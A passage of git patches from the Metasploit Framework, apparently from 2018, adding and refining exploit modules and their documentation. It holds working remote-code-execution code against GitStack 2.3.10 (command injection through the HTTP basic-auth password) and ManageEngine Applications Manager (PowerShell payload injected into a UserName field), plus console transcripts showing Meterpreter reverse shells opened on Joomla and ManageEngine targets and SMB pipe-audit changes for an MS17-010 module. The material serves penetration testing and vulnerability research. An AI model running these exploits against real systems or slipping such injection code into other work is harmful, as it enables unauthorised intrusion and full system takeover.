'/rest/settings/general/webinterface/', + 'method' => 'PUT', + 'encode' => true, + 'data' => data.to_json + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + end + end + + def create_repo + repo = Rex::Text.rand_text_alpha(5) + c_token = Rex::Text.rand_text_alpha(5) + data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}" + begin + res = send_request_cgi({ + 'uri' => '/rest/repository/', + 'method' => 'POST', + 'cookie' => "csrftoken=#{c_token}", + 'data' => data + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + return repo + else + print_status('Unable to create repository') + return nil + end + end + + def delete_repo(repo) + begin + res = send_request_cgi({ + 'uri' => "/rest/repository/#{repo}/", + 'method' => 'DELETE' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Failed to delete repository') + end + end + + def create_user + user = Rex::Text.rand_text_alpha(5) + pass = user + data = "username=#{user}&password=#{pass}" + begin + res = send_request_cgi({ + 'uri' => '/rest/user/', + 'method' => 'POST', + 'encode' => true, + 'data' => data + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("Created user: #{user}") + return user + else + print_error("Failed to create user") + return nil + end + end + + def delete_user(user) + begin + res = send_request_cgi({ + 'uri' => "/rest/user/#{user}/", + 'method' => 'DELETE' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Delete user unsuccessful') + end + end + + def mod_user(repo, user, method) + begin + res = send_request_cgi({ + 'uri' => "/rest/repository/#{repo}/user/#{user}/", + 'method' => method + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + vprint_good("#{res.body}") + else + print_status('Unable to add/remove user from repo') + end + end + + def repo_users(repo) + begin + res = send_request_cgi({ + 'uri' => normalize_uri("/rest/repository/#{repo}/user/"), + 'method' => 'GET' + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + if res && res.code == 200 + begin + users = JSON.parse(res.body) + users -= ['everyone'] + rescue JSON::ParserError => e + print_error("Failed: #{e.class} - #{e.message}") + users = nil + end + else + return nil + end + return users + end + + def run_exploit(repo, user, cmd) + begin + res = send_request_cgi({ + 'uri' => "/web/index.php?p=#{repo}.git&a=summary", + 'method' => 'GET', + 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}") + }) + rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, + Rex::HostUnreachable, Errno::ECONNRESET => e + print_error("Failed: #{e.class} - #{e.message}") + end + end + + def exploit + command = cmd_psh_payload( + payload.encoded, + payload_instance.arch.first, + { :remove_comspec => true, :encode_final_payload => true } + ) + fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110 + + web = check_web + repos = check_repos + + if web.nil? || repos.nil? + return + end + + unless web + update_web(!web) + # Wait for interface + sleep 8 + end + + if repos + pwn_repo = repos[0]['name'] + else + pwn_repo = create_repo + end + + r_users = repo_users(pwn_repo) + unless r_users.nil? || r_users == [] + pwn_user = r_users[0] + run_exploit(pwn_repo, pwn_user, command) + else + pwn_user = create_user + if pwn_user + mod_user(pwn_repo, pwn_user, 'POST') + run_exploit(pwn_repo, pwn_user, command) + mod_user(pwn_repo, pwn_user, 'DELETE') + delete_user(pwn_user) + end + end + + unless web + update_web(web) + end + + unless repos + delete_repo(pwn_repo) + end + end +end From 57118e12652e9a79a8745fa4be401b8640f2b2a0 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 13:37:32 -0600 Subject: [PATCH 027/105] msftidy fix --- modules/exploits/windows/http/gitstack_rce.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index f2b79af8c2..65d766119c 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -241,9 +241,13 @@ class MetasploitModule < Msf::Exploit::Remote def run_exploit(repo, user, cmd) begin res = send_request_cgi({ - 'uri' => "/web/index.php?p=#{repo}.git&a=summary", - 'method' => 'GET', - 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}") + 'uri' => '/web/index.php', + 'method' => 'GET', + 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"), + 'vars_get' => { + 'p' => "#{repo}.git", + 'a' => 'summary' + } }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e From 99799f1e9823997b14210c45ee1798464f62b903 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 13:40:37 -0600 Subject: [PATCH 028/105] Update doc --- documentation/modules/exploit/windows/http/gitstack_rce.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index f4290a4bac..da0f9d4b14 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -6,7 +6,7 @@ This module exploits an unauthenticated remote code execution vulnerability on G In vulnerable versions of GitStack, a flaw in `Authentication.class.php` allows [unauthenticated remote code execution](https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html) since `$_SERVER['PHP_AUTH_PW']` is passed directly to an `exec` function. -To exploit the vulnerability, the repository interface must be enabled, a repository must exist, and a user must have access to the repository. +To exploit the vulnerability, the repository web interface must be enabled, a repository must exist, and a user must have access to the repository. Note: A passwd file should be created by GitStack for local user accounts. Default location: `C:\GitStack\data\passwdfile`. From 4ace73a3f9b0b2d97892090a52d9149a03a34386 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Mon, 5 Mar 2018 22:00:28 -0600 Subject: [PATCH 029/105] Added references, fixed code --- modules/exploits/windows/http/gitstack_rce.rb | 77 +++++++++---------- 1 file changed, 36 insertions(+), 41 deletions(-) diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index 65d766119c..9086b11367 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -24,15 +24,18 @@ class MetasploitModule < Msf::Exploit::Remote 'Kacper Szurek', # Vulnerability discovery and PoC 'Jacob Robles' # Metasploit module ], + 'References' => + [ + ['CVE', '2018-5955'], + ['EDB', '43777'], + ['EDB', '44044'], + ['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html'] + ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', - 'Payload' => - { - 'BadChars' => "\x00" - }, 'Targets' => [['Automatic', {}]], 'Privileged' => true, 'DisclosureDate' => 'Jan 15 2018', @@ -43,11 +46,10 @@ class MetasploitModule < Msf::Exploit::Remote def check_web begin res = send_request_cgi({ - 'uri' => normalize_uri('/rest/settings/general/webinterface/'), + 'uri' => '/rest/settings/general/webinterface/', 'method' => 'GET' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end @@ -71,13 +73,12 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => '/rest/repository/', 'method' => 'GET', }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin - mylist = JSON.parse(res.body) + mylist = res.get_json_document rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") return nil @@ -102,11 +103,9 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi({ 'uri' => '/rest/settings/general/webinterface/', 'method' => 'PUT', - 'encode' => true, 'data' => data.to_json }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -117,16 +116,17 @@ class MetasploitModule < Msf::Exploit::Remote def create_repo repo = Rex::Text.rand_text_alpha(5) c_token = Rex::Text.rand_text_alpha(5) - data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}" begin res = send_request_cgi({ - 'uri' => '/rest/repository/', - 'method' => 'POST', - 'cookie' => "csrftoken=#{c_token}", - 'data' => data + 'uri' => '/rest/repository/', + 'method' => 'POST', + 'cookie' => "csrftoken=#{c_token}", + 'vars_post' => { + 'name' => repo, + 'csrfmiddlewaretoken' => c_token + } }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -144,8 +144,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => "/rest/repository/#{repo}/", 'method' => 'DELETE' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end @@ -159,16 +158,16 @@ class MetasploitModule < Msf::Exploit::Remote def create_user user = Rex::Text.rand_text_alpha(5) pass = user - data = "username=#{user}&password=#{pass}" begin res = send_request_cgi({ - 'uri' => '/rest/user/', - 'method' => 'POST', - 'encode' => true, - 'data' => data + 'uri' => '/rest/user/', + 'method' => 'POST', + 'vars_post' => { + 'username' => user, + 'password' => pass + } }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -186,8 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => "/rest/user/#{user}/", 'method' => 'DELETE' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -203,8 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => "/rest/repository/#{repo}/user/#{user}/", 'method' => method }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 @@ -217,16 +214,15 @@ class MetasploitModule < Msf::Exploit::Remote def repo_users(repo) begin res = send_request_cgi({ - 'uri' => normalize_uri("/rest/repository/#{repo}/user/"), + 'uri' => "/rest/repository/#{repo}/user/", 'method' => 'GET' }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin - users = JSON.parse(res.body) + users = res.get_json_document users -= ['everyone'] rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") @@ -249,8 +245,7 @@ class MetasploitModule < Msf::Exploit::Remote 'a' => 'summary' } }) - rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, - Rex::HostUnreachable, Errno::ECONNRESET => e + rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end end @@ -261,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) - fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110 + fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110 web = check_web repos = check_repos @@ -283,7 +278,7 @@ class MetasploitModule < Msf::Exploit::Remote end r_users = repo_users(pwn_repo) - unless r_users.nil? || r_users == [] + unless r_users.nil? || r_users.empty? pwn_user = r_users[0] run_exploit(pwn_repo, pwn_user, command) else From 05a653b8533c0491769aee379dad788bfcfd37f0 Mon Sep 17 00:00:00 2001 From: Luis Hernandez Date: Tue, 6 Mar 2018 20:37:11 -0500 Subject: [PATCH 030/105] Add module documentation --- .../unix/webapp/joomla_sqli_rce_3_7_0.md | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md diff --git a/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md b/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md new file mode 100644 index 0000000000..2cc6fb5018 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/joomla_sqli_rce_3_7_0.md @@ -0,0 +1,49 @@ +## Vulnerable Application + + This module exploits a sql injection in the core of Joomla 3.7.0. + This vulnerability can allow remote code execution. + +## Verification + + + 1. Start msfconsole + 2. Do: `use exploit/unix/webapp/joomla_comfields_sqli_rce` + 3. Do: `set rhost [ip]` + 4. Do: `set tageturi [uri]` + 5. Do: `exploit` + 6. Get a shell + +## Scenarios + +### Joomal 3.7.0 and an administrator must be authenticated in the backend + +``` +msf > use exploit/unix/webapp/joomla_comfields_sqli_rce +msf exploit(joomla_comfields_sqli_rce) > set rhost 1.2.3.4 +rhost => 1.2.3.4 +msf exploit(joomla_comfields_sqli_rce) > set TARGETURI joomla_demo +TARGETURI => joomla_demo +msf exploit(joomla_comfields_sqli_rce) > exploit + +[*] Started reverse TCP handler on 1.2.3.4:4444 +[*] 192.168.0.15:80 - Retrieved table prefix [ l6crq ] +[*] 192.168.0.15:80 - Retrieved admin cookie [ 0nva1b7d2re73dojsakmq5gqs5 ] +[*] 192.168.0.15:80 - Retrieved unauthenticated cookie [ b41f947841f591f08bb4203036a1b7d3 ] +[+] 192.168.0.15:80 - Successfully authenticated as Administrator +[*] 192.168.0.15:80 - Creating file [ 4duqOQWjqycE1.php ] +[*] 192.168.0.15:80 - Following redirect to [ /joomla_demo/administrator/index.php?option=com_templates&view=template&id=503&file=LzRkdXFPUVdqcXljRTEucGhw ] +[*] 192.168.0.15:80 - Token [ cdec8f07a07e2810437f8f8a148b7628 ] retrieved +[*] 192.168.0.15:80 - Template path [ /templates/beez3/ ] retrieved +[*] 192.168.0.15:80 - Insert payload into file [ 4duqOQWjqycE1.php ] +[*] 192.168.0.15:80 - Payload data inserted into [ 4duqOQWjqycE1.php ] +[*] 192.168.0.15:80 - Executing payload +[*] Sending stage (37543 bytes) to 1.2.3.4 +[*] Meterpreter session 1 opened (192.168.0.24:4444 -> 1.2.3.4:49586) at 2018-03-06 20:20:22 -0500 +[+] Deleted 4duqOQWjqycE1.php + +meterpreter > sysinfo +Computer : luisco-VirtualBox +OS : Linux luisco-VirtualBox 4.10.0-38-generic #42~16.04.1-Ubuntu SMP Tue Oct 10 16:32:20 UTC 2017 x86_64 +Meterpreter : php/linux + +``` From 9ce6c2ae328d5f690bbbe56f910756323c2ee170 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Wed, 7 Mar 2018 14:31:58 -0600 Subject: [PATCH 031/105] Remove redundant RPORT --- modules/exploits/windows/http/gitstack_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index 9086b11367..5c87bf0ebe 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -40,7 +40,6 @@ class MetasploitModule < Msf::Exploit::Remote 'Privileged' => true, 'DisclosureDate' => 'Jan 15 2018', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(80)]) end def check_web From 611b20826754a1d3f33dbb0585b7da2c6583363a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Mehmet=20=C4=B0nce?= Date: Wed, 7 Mar 2018 23:54:01 +0300 Subject: [PATCH 032/105] Adding ManageEngine Application Manager RCE --- .../http/manageengine_appmanager_exec.md | 46 +++++++ .../http/manageengine_appmanager_exec.rb | 116 ++++++++++++++++++ 2 files changed, 162 insertions(+) create mode 100644 documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md create mode 100644 modules/exploits/windows/http/manageengine_appmanager_exec.rb diff --git a/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md new file mode 100644 index 0000000000..d18d5ceda4 --- /dev/null +++ b/documentation/modules/exploit/windows/http/manageengine_appmanager_exec.md @@ -0,0 +1,46 @@ +## Vulnerable Application +This module exploits command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer. + +**Vulnerable Application Installation Steps** + +Go to following website and download Windows version of the product. It comes with built-in Java and Postgresql so you don't need to install anything else. +[https://www.manageengine.com/products/applications_manager/download.html](https://www.manageengine.com/products/applications_manager/download.html) + +## Verification Steps + +A successful check of the exploit will look like this: + +- [ ] Start `msfconsole` +- [ ] `use exploit/linux/http/securityonion_xplico_exec` +- [ ] Set `RHOST` +- [ ] Set `PAYLOAD windows/meterpreter/reverse_tcp` +- [ ] Set `LHOST` +- [ ] Run `check` +- [ ] **Verify** that you are seeing `The target is vulnerable.` in console. +- [ ] Run `exploit` +- [ ] **Verify** that you are seeing `Triggering the vulnerability` in console. +- [ ] **Verify** that you are seeing `Sending stage (179779 bytes) to ` in console. +- [ ] **Verify** that you have your shell. + +## Scenarios + +``` +msf5 > +msf5 > use exploit/windows/http/manageengine_appmanager_exec +msf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192 +RHOST => 12.0.0.192 +msf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1 +LHOST => 12.0.0.1 +msf5 exploit(windows/http/manageengine_appmanager_exec) > check +[+] 12.0.0.192:9090 The target is vulnerable. +msf5 exploit(windows/http/manageengine_appmanager_exec) > run + +[*] Started reverse TCP handler on 12.0.0.1:4444 +[*] Trigerring the vulnerability +[*] Sending stage (179779 bytes) to 12.0.0.192 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` \ No newline at end of file diff --git a/modules/exploits/windows/http/manageengine_appmanager_exec.rb b/modules/exploits/windows/http/manageengine_appmanager_exec.rb new file mode 100644 index 0000000000..0c32d01dac --- /dev/null +++ b/modules/exploits/windows/http/manageengine_appmanager_exec.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "ManageEngine Applications Manager Remote Code Execution", + 'Description' => %q{ + This module exploits command injection vulnerability in the ManageEngine Application Manager product. + An unauthenticated user can execute a operating system command under the context of privileged user. + + Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials + by accessing given system. This endpoint calls a several internal classes and then executes powershell script + without validating user supplied parameter when the given system is OfficeSharePointServer. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Mehmet Ince ' # author & msf module + ], + 'References' => + [ + ['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'] + ], + 'DefaultOptions' => + { + 'WfsDelay' => 10, + 'RPORT' => 9090 + }, + 'Payload' => + { + 'BadChars' => "\x22" + }, + 'Platform' => ['win'], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Targets' => [ ['Automatic', {}] ], + 'Privileged' => true, + 'DisclosureDate' => 'Mar 7 2018', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the application', '/']) + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), + 'vars_post' => { + 'method' => 'testCredentialForConfMonitors', + 'type' => 'OfficeSharePointServer', + 'montype' => 'OfficeSharePointServer', + 'isAgentEnabled' => 'NO', + 'isAgentAssociated' => 'false', + 'displayname' => Rex::Text.rand_text_alpha(10), + 'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... + 'Version' => '2013', + 'Powershell' => 'True', # :-) + 'CredSSP' => 'False', + 'SPType' => 'SPServer', + 'CredentialDetails' => 'nocm', + 'Password' => Rex::Text.rand_text_alpha(3), + 'UserName' => Rex::Text.rand_text_alpha(3) + } + }) + if res && res.body.include?('Kindly check the credentials and try again') + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + + powershell_options = { + encode_final_payload: true, + remove_comspec: true + } + p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options) + + print_status('Triggering the vulnerability') + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'testCredential.do'), + 'vars_post' => { + 'method' => 'testCredentialForConfMonitors', + 'type' => 'OfficeSharePointServer', + 'montype' => 'OfficeSharePointServer', + 'isAgentEnabled' => 'NO', + 'isAgentAssociated' => 'false', + 'displayname' => Rex::Text.rand_text_alpha(10), + 'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... + 'Version' => '2013', + 'Powershell' => 'True', # :-) + 'CredSSP' => 'False', + 'SPType' => 'SPServer', + 'CredentialDetails' => 'nocm', + 'Password' => Rex::Text.rand_text_alpha(3), + 'UserName' => "$(#{p})" + } + }) + + end +end From 24079c345dde803b8b9df4bb6a4028fb29135b00 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 8 Mar 2018 07:30:02 -0600 Subject: [PATCH 033/105] Style guide and grammar fixes --- .../modules/exploit/windows/http/gitstack_rce.md | 2 +- modules/exploits/windows/http/gitstack_rce.rb | 10 +++++----- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/http/gitstack_rce.md b/documentation/modules/exploit/windows/http/gitstack_rce.md index da0f9d4b14..90355469c3 100644 --- a/documentation/modules/exploit/windows/http/gitstack_rce.md +++ b/documentation/modules/exploit/windows/http/gitstack_rce.md @@ -1,6 +1,6 @@ ## Description -This module exploits an unauthenticated remote code execution vulnerability on GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. +This module exploits an unauthenticated remote code execution vulnerability in GitStack v2.3.10. The module will send unauthenticated REST API requests to put the application in a vulnerable state, if needed, before sending a request to trigger the exploit. These configuration changes are undone before the module exits. ## Vulnerable Application diff --git a/modules/exploits/windows/http/gitstack_rce.rb b/modules/exploits/windows/http/gitstack_rce.rb index 5c87bf0ebe..c4357de062 100644 --- a/modules/exploits/windows/http/gitstack_rce.rb +++ b/modules/exploits/windows/http/gitstack_rce.rb @@ -83,12 +83,12 @@ class MetasploitModule < Msf::Exploit::Remote return nil end - unless mylist.length == 0 - vprint_good('Repositories found') - return mylist - else + if mylist.length == 0 vprint_error('No repositories found') return false + else + vprint_good('Repositories found') + return mylist end else print_error('Unable to determine available repositories') @@ -277,7 +277,7 @@ class MetasploitModule < Msf::Exploit::Remote end r_users = repo_users(pwn_repo) - unless r_users.nil? || r_users.empty? + if r_users.present? pwn_user = r_users[0] run_exploit(pwn_repo, pwn_user, command) else From e6a9f2609fd11bd6ccdc614a4a5e504a2e9d2131 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Thu, 8 Mar 2018 23:01:58 +0530 Subject: [PATCH 034/105] include mixin to psexec_ms17_010 --- lib/msf/core/auxiliary/pipe_auditor.rb | 10 +++++----- lib/msf/core/exploit/smb/client/psexec_ms17_010.rb | 1 + 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/auxiliary/pipe_auditor.rb b/lib/msf/core/auxiliary/pipe_auditor.rb index 63bb07d08f..82d16d468d 100644 --- a/lib/msf/core/auxiliary/pipe_auditor.rb +++ b/lib/msf/core/auxiliary/pipe_auditor.rb @@ -1,18 +1,18 @@ module Msf -module Auxiliary::PIPEAudit +module Auxiliary::PipeAudit include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner def initialize(info = {}) super - register_options([ - OptString.new('RPORT', [true, 'The Target port', 445]) - ], Msf::Auxiliary::PIPEAudit) + #register_options([ + # OptString.new('RPORT', [true, 'The Target port', 445]) + # ], Msf::Auxiliary::PIPEAudit) end - def connect_to_pipe + def connect_to_pipe() accessible_pipes||=[] a_pipe_handles||=[] target_pipes = [ diff --git a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb index 99974ffc08..b8a67d7797 100644 --- a/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb +++ b/lib/msf/core/exploit/smb/client/psexec_ms17_010.rb @@ -3,6 +3,7 @@ module Msf module Exploit::Remote::SMB::Client::Psexec_MS17_010 include Msf::Exploit::Remote::SMB::Client::Psexec + include Msf::Auxiliary::PipeAudit include Msf::Exploit::Remote::Tcp def initialize(info = {}) From a00ab2040f50a9ab8ecb65c549f0168fc3b55868 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Thu, 8 Mar 2018 23:04:21 +0530 Subject: [PATCH 035/105] include mixin to psexec_ms17_010 --- lib/msf/core/auxiliary/mixins.rb | 2 +- lib/msf/core/auxiliary/{pipe_auditor.rb => pipeaudit.rb} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/msf/core/auxiliary/{pipe_auditor.rb => pipeaudit.rb} (100%) diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index a74c79fc18..d3b66e909a 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -32,7 +32,7 @@ require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/redis' require 'msf/core/auxiliary/sms' require 'msf/core/auxiliary/mms' - +require 'msf/core/auxiliary/pipeaudit' # # Custom HTTP modules # diff --git a/lib/msf/core/auxiliary/pipe_auditor.rb b/lib/msf/core/auxiliary/pipeaudit.rb similarity index 100% rename from lib/msf/core/auxiliary/pipe_auditor.rb rename to lib/msf/core/auxiliary/pipeaudit.rb From cc9fbc93ed61e4deabc7c8bfb935626a38a5e901 Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 02:19:18 +0530 Subject: [PATCH 036/105] fix format --- lib/msf/core/auxiliary/pipeaudit.rb | 32 ++++++++++++++--------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/auxiliary/pipeaudit.rb b/lib/msf/core/auxiliary/pipeaudit.rb index 82d16d468d..39b6a025ad 100644 --- a/lib/msf/core/auxiliary/pipeaudit.rb +++ b/lib/msf/core/auxiliary/pipeaudit.rb @@ -7,15 +7,15 @@ module Auxiliary::PipeAudit def initialize(info = {}) super - #register_options([ - # OptString.new('RPORT', [true, 'The Target port', 445]) - # ], Msf::Auxiliary::PIPEAudit) + #register_options([ + # OptString.new('RPORT', [true, 'The Target port', 445]) + # ], Msf::Auxiliary::PIPEAudit end def connect_to_pipe() - accessible_pipes||=[] - a_pipe_handles||=[] - target_pipes = [ + accessible_pipes||=[] + a_pipe_handles||=[] + target_pipes = [ 'netlogon', 'lsarpc', 'samr', @@ -41,17 +41,17 @@ module Auxiliary::PipeAudit 'wkssvc', 'PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 'db2remotecmd' - ] + ] - target_pipes.each do |pipe| - begin - pipe_name = "#{pipe}" - pipe_handle = self.simple.create_pipe(pipe_name, 'o') - accessible_pipes << pipe_name - a_pipe_handles << pipe_handle - end - end - return accessible_pipes[0], pipe_handle[0] + target_pipes.each do |pipe| + begin + pipe_name = "#{pipe}" + pipe_handle = self.simple.create_pipe(pipe_name, 'o') + accessible_pipes << pipe_name + a_pipe_handles << pipe_handle + end + end + return accessible_pipes[0], pipe_handle[0] end end end From 478f01d0d96a9c262c7bf01837b9fd4b6c84738b Mon Sep 17 00:00:00 2001 From: Auxilus Date: Fri, 9 Mar 2018 02:25:58 +0530 Subject: [PATCH 037/105] fix format --- 